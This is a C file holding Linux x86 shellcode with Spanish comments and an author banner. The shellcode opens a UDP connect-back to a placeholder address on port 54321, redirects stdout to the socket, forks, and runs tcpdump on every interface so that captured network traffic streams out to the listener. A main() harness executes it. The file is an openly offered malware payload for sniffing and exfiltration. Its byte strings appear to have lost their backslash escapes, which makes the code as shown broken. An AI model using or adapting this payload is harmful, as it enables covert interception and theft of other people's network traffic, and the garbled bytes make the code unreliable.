/*
 linux/x86 connect-back port UDP/54321 & dup2 &
 fork() & execve() /usr/bin/tcpdump -iany -w- "port ! 54321"
 151 bytes
 by XenoMuta
     _  __                 __  ___      __       
    | |/ /__  ____  ____  /  |/  /_  __/ /_____ _
    |   / _ / __ / __ / /|_/ / / / / __/ __ `/
   /   /  __/ / / / /_/ / /  / / /_/ / /_/ /_/ / 
  /_/|____/_/ /_/____/_/  /_/__,_/__/__,_/  

   xenomuta [ arroba ] phreaker [ punto ] net

  http://xenomuta.tuxfamily.org/ - Methylxantina 256mg
  
 - God bless you all -

*/
unsigned char sc[] =
// <_start>:
"x6ax66"	 // push   $0x66 ; socketcall()
"x58"		 // pop    %eax  ; para setear el socket 
"x6ax01"	 // push   $0x1  
"x5b"		 // pop    %ebx
"x31xc9"	 // xor    %ecx,%ecx
"x51"		 // push   %ecx
"x6ax02"	 // push   $0x2  ; SOCK_DGRAM (udp)
"x6ax02"	 // push   $0x2   
"x89xe1"	 // mov    %esp,%ecx
"xcdx80"	 // int    $0x80
// IP: 127.1.1.1
"x68x7fx01x01x01"	 // push   $0x101017f
// Port: 54321
"x66x68xd4x31"	 // pushw  $0x31d4
"x66x31xc9"	 // xor    %cx,%cx
"x80xc1x02"	 // xadd    $0x2,%cl
"x66x51"	 // push   %cx
"x89xe1"	 // mov    %esp,%ecx
"x6ax10"	 // push   $0x10
"x51"		 // push   %ecx
"x50"		 // push   %eax
"x89xe1"	 // mov    %esp,%ecx
"x89xc6"	 // mov    %eax,%esi
"xb0x66"	 // mov    $0x66,%al  ; socketcall ()
"x80xc3x02"	 // add    $0x2,%bl   ; para connect()
"xcdx80"	 // int    $0x80
"x87xde"	 // xchg   %ebx,%esi  
"x6ax01"	 // push   $0x1
"x59"		 // pop    %ecx
"x6ax3f"	 // push   $0x3f      ; dup2(socket, stdout)
"x58"		 // pop    %eax
"xcdx80"	 // int    $0x80
"x31xd2"	 // xor    %edx,%edx  
"x6ax02"	 // push   $0x2       ; fork()
"x58"		 // pop    %eax
"xcdx80"	 // int    $0x80
"x39xd0"	 // cmp    %edx,%eax  ; el hijo sobrevive
"x74x05"	 // je     0x4d <_child>
"x6ax01"	 // push   $0x1       ; adios papa
"x58"		 // pop    %eax
"xcdx80"	 // int    $0x80
//<_child>:
"x6ax0b"	 // push   $0xb    ; execve() tcpdump -iany -w- "port ! 54321"
"x58"		 // pop    %eax    ; sniffea todo menos a mi mismo.
"x52"		 // push   %edx
"x68x34x33x32x31"	 // push   $0x31323334 ; "port ! 54321"
"x68x20x21x20x35"	 // push   $0x35202120
"x68x70x6fx72x74"	 // push   $0x74726f70
"x89xe7"	 // mov    %esp,%edi
"x52"		 // push   %edx
"x6ax2d"	 // push   $0x2d               ; -w- ( escribe a stdout )
"x66x68x2dx77"	 // pushw  $0x772d
"x89xe6"	 // mov    %esp,%esi
"x52"		 // push   %edx
"x6ax79"	 // push   $0x79               ; -iany (todas las interfaces )
"x68x2dx69x61x6e"	 // push   $0x6e61692d
"x89xe1"	 // mov    %esp,%ecx
"x52"		 // push   %edx
"x6ax70"	 // push   $0x70
"x68x70x64x75x6d"	 // push   $0x6d756470 ; /usr/bin/tcpdump
"x68x6ex2fx74x63"	 // push   $0x63742f6e
"x68x2fx73x62x69"	 // push   $0x6962732f
"x68x2fx75x73x72"	 // push   $0x7273752f
"x89xe3"	 // mov    %esp,%ebx
"x52"		 // push   %edx
"x57"		 // push   %edi
"x56"		 // push   %esi
"x51"		 // push   %ecx
"x53"		 // push   %ebx
"x89xe1"	 // mov    %esp,%ecx
"xcdx80";	 // int    $0x80


main(){(*(void (*)()) sc)();}

// www.Syue.com [2008-11-23]